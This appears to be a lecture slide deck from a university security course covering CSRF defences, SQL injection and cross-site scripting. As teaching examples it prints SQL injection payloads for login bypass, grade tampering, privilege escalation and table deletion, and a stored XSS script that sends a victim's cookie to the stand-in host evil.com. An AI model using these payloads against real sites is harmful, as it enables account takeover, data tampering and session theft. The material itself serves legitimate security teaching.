Web Security III: CSRF Mitigation, SQL Injection

CS 1660: Introduction to Computer Systems Security
How can we restrict which origins can make requests?

Multiple mechanics, implemented at different layers of the system

\[\Rightarrow\text{Defense in depth!}\]
Server-side: CSRF token

Server sends unguessable value to client, include as hidden variable in POST

```html
<form action="/transfer.do" method="post">
  <input type="hidden" name="csrf_token" value="aXg3423fjp...">
  [...]
</form>
```

On POST, server compares against expected value, rejects if wrong or missing

What does this prove?
CSRF Token: Mechanics

Different web frameworks handle tokens differently

• Set token per-session or per-request?
• Can include token directly in generated HTML, or use JS to set via cookie
Limit cookie sharing

SameSite attribute: control how cookie is shared when origin is a different site:

```
Set-Cookie: sessionId=12345; Domain=b.com; SameSite=None
```

Without any protections, all cookies for b.com get sent to requests for b.com
Limit cookie sharing

SameSite attribute: control how cookie is shared when origin is a different site:

- **None**: No restrictions*
- **Strict**: Send cookie only when request originates from site that sent the cookie
- **Lax (default since 2021)**: allow cross-site requests for requests initiated by user (eg. clicking a link, but not Javascript)

Set-Cookie: sessionid=12345; Domain=b.com; SameSite=None

More info: Mozilla MDN
Limit cookie sharing

More important attributes:

Set-Cookie: sessionid=12345; . . . HttpOnly=true, Secure

• Secure (true/false): Only send this cookie when using HTTPS

• HttpOnly (true/false): If true, cookie can’t be read by Javascript (but can still be sent by requests)
Overview

Treat cookies as SameSite=Lax by default if no SameSite attribute is specified. Developers are still able to opt-in to the status quo of unrestricted use by explicitly asserting SameSite=None.

This feature is available as of Chrome 76 by enabling the same-site-by-default-cookies flag.

This feature will be rolled out gradually to Stable users starting July 14, 2020. See https://www.chromium.org/updates/same-site for full timeline and more details.
CORS: Cross-Origin Resource Sharing

Systematic way to set permissions for cross-origin requests for most dynamic resources (Javascript and others):

```plaintext
# Allow origin example.com to use resources from here
Access-Control-Allow-Origin: https://example.com

# Allow any origin to use resources from here
Access-Control-Allow-Origin: *
```

If Origin not allowed by header, browser prevents page from reading response
=> Browser must implement this properly!
CORS: Further reading

- Gained adoption in major browsers 2009-2015
- Requires site owners to define policies for how resources are used
- For some requests, browser will do a “preflight” before sending request at all to see if it’s authorized
- Extra nuances for requests that send cookies “credentialed” requests

Overview here: Mozilla MDN
User Interaction

Force certain high-value operations to require use input
Confirm access

Signed in as @ndemarinis

Authentication code

XXXXXXX

Verify

Open your two-factor authenticator (TOTP) app or browser extension to view your authentication code.

Having problems?

- Use your password

Tip: You are entering sudo mode. After you've performed a sudo-protected action, you'll only be asked to re-authenticate again after a few hours of inactivity.
Tradeoff => security vs. usability
Extending our Webserver model...
Most complex sites use a database

- Client-supplied data stored into database
- Access to database mediated by server
- Examples: Relational, Document oriented, ...
Standard Query Language (SQL)

- Relational database
  - Data organized into tables
  - Rows represent records and columns are associated with attributes

- SQL describes operations (queries) on a relational database

<table>
<thead>
<tr>
<th>Name</th>
<th>ID</th>
<th>Grade</th>
<th>Password</th>
<th>admin</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bernardo</td>
<td>345</td>
<td>-</td>
<td>H(password)</td>
<td>1</td>
</tr>
<tr>
<td>Bob</td>
<td>122</td>
<td>C</td>
<td>H(bob123)</td>
<td>0</td>
</tr>
<tr>
<td>Alice</td>
<td>543</td>
<td>A</td>
<td>H(a3dsr87)</td>
<td>0</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
One query type: SELECT

- Find records in table (FROM clause) that satisfy a certain condition (WHERE clause)
- Result returned as table (attributes given by SELECT)
SELECT: Data flow

**Alice**

Insert your name to access your grade:

- Alice

**Server**

POST Alice's grade

200 OK: Alice, A

**CS1660 Database**

SELECT name, grade from CS1660 WHERE name=Alice

**Student:**
- Alice

**Grade:**
- A
SELECT: Data flow

Insert your name to access your grade:

Alice

POST Alice's grade

SELECT name, grade from CS1660
WHERE name=Alice
Example Query: Authentication

```sql
SELECT * FROM CS1660 WHERE Name = $username AND Password = hash( $passwd ) ;
```

<table>
<thead>
<tr>
<th>Name</th>
<th>ID</th>
<th>Grade</th>
<th>Password</th>
<th>admin</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bernardo</td>
<td>345</td>
<td>-</td>
<td>H(password)</td>
<td>1</td>
</tr>
<tr>
<td>Bob</td>
<td>122</td>
<td>C</td>
<td>H(bob123)</td>
<td>0</td>
</tr>
<tr>
<td>Alice</td>
<td>543</td>
<td>A</td>
<td>H(a3dsr87)</td>
<td>0</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
Example Query: Authentication

```
SELECT * FROM CS1660 WHERE
Name=$username AND Password = hash( $passwd );
```

- Student sets $username and $passwd
- Access granted if query returns nonempty table
UPDATE Function

- Update records in table (UPDATE clause) that satisfy a certain condition (WHERE clause)
DELETE Function

- Delete records in table (DELETE clause) that satisfy a certain condition (WHERE clause)

```sql
DELETE FROM table
WHERE condition; -- comments
```
ALTER Function

- Alter the fields in table (ALTER clause) by adding a new column with a certain size (e.g. varchar(20))

```
ALTER TABLE table
ADD element varchar(20); -- comments
```
How to implement this?
How to implement on server?

```
SELECT attributes FROM users
    WHERE user = 'Alice' AND password = '<hash>'
```
How to implement on server?

Let’s start with this:

```php
$db->query("SELECT * FROM users WHERE username='Alice' AND password='<hash>'");
```
What could go wrong?
User input affects the query string!

ie, input becomes part of the code (here, the SQL query)
User input affects the query string!

ie, input becomes part of the code (here, the SQL query)

⇒ We call this **Code Injection**

This example is an SQL Injection (SQLi)
SQL Injection

- Causes execution of unauthorized queries by injecting SQL code into the database
SQL Injection to Bypass Authentication

$\text{SELECT } * \text{ FROM CS1660 WHERE Name=}'A' \text{ OR } 1 = 1 --' \text{ AND Password = hash($passwd)}$;

$\text{Name} = $\text{username AND Password = hash($passwd)}$;

$\text{ALWAYS TRUE}$

$\text{Name=}'A' \text{ OR } 1 = 1 --' \text{ AND } $\text{Password = hash($passwd)}$;

Resulting query:

$\text{SELECT } * \text{ FROM CS1660 WHERE Name=}'A' \text{ OR } 1 = 1 --' \text{ AND }$ \text{...}$
SQL Injection for Data Corruption

$\text{SELECT * FROM CS1660 WHERE Name}=$\text{username AND Password} = \text{hash( $\text{passwd})};$

- $\text{username} = A';$ \text{UPDATE CS1660 SET grade}='A'$ WHERE name=Bob' --'
- $\text{passwd} = \text{anything}$
- Resulting query execution

SELECT * FROM CS1660 WHERE Name = 'A';
UPDATE CS1660 SET grade='A' WHERE Name='Bob' -- AND ...
SQL Injection for Privilege Escalation

- $username = 'A'; UPDATE CS1660 SET admin=1 WHERE name='Bob' --
- $passwd = anything
- Resulting query execution

```
SELECT * FROM CS1660 WHERE Name = 'A';
UPDATE CS1660 SET admin=1 WHERE name='Bob' -- AND ...
```
Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way -

DID YOU REALLY NAME YOUR SON Robert'); DROP TABLE Students; -- ?

Oh, yes, little Bobby tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

Source: http://xkcd.com/327/
More code injection?
Abstract model for a web application (revisited)

New idea: attack the user’s browser => can alter their website, steal info, ….
Cross-Site Scripting (XSS)

- Problem: users can submit text that will be displayed on web pages
- Browsers interpret everything in HTML pages as HTML
- What could go wrong?
Example

- Website allows posting of chirps
- Server puts comments into page:

  ChirpBook!<br />
  Here's what everyone else had to say:<br />
  Joe: Hi! <br />
  John: This is so <b>cool</b>! <br />
  Jane: How does <u>this</u> work? <br />

- Can include arbitrary HTML…
  Attacker: <script>alert("XSS Injection!"); </script> <br />

chirpbook.html
<html>
<title>ChirpBook!</title>
<body>
Chirp Away!
<form action="sign.php"
  method="POST">
<input type="text" name="name">
<input type="text"
  name="message" size="40">
<input type="submit"
  value="Submit">
</form>
</body>
</html>
Cookie Stealing

What happens if I submit this as a Chirpbook comment?

<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://evil.com/steal.php', true);
  xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  xhr.send('cookie=' + document.cookie);
</script>
Idea: stored XSS attack

Goal: make victim's browser do a request to a site the attacker controls

Ideally: steal some info from the user's browser

**How it works**
1. Attacker inserts malicious payload into database (ie, JS code that will run in the user's browser)
2. User loads the payload by legitimately using the target website
3. Payload does something the attacker wants. In this case, makes a request to a site that the attacker controls that contains the user's cookie!

=> In class demo: used webhook.site as example for site that attacker controls (just logs all requests made to it)
Stored XSS

POST /comment.php
comment=<script> /* make a post request to evil.com with document.cookie… */ </script>

INSERT INTO comments (value)
VALUES ('<script>…</script>')

["Hello", ..., "<script>…</script>"]

<body>
  ...
  <script>…</script>
  ...
</body>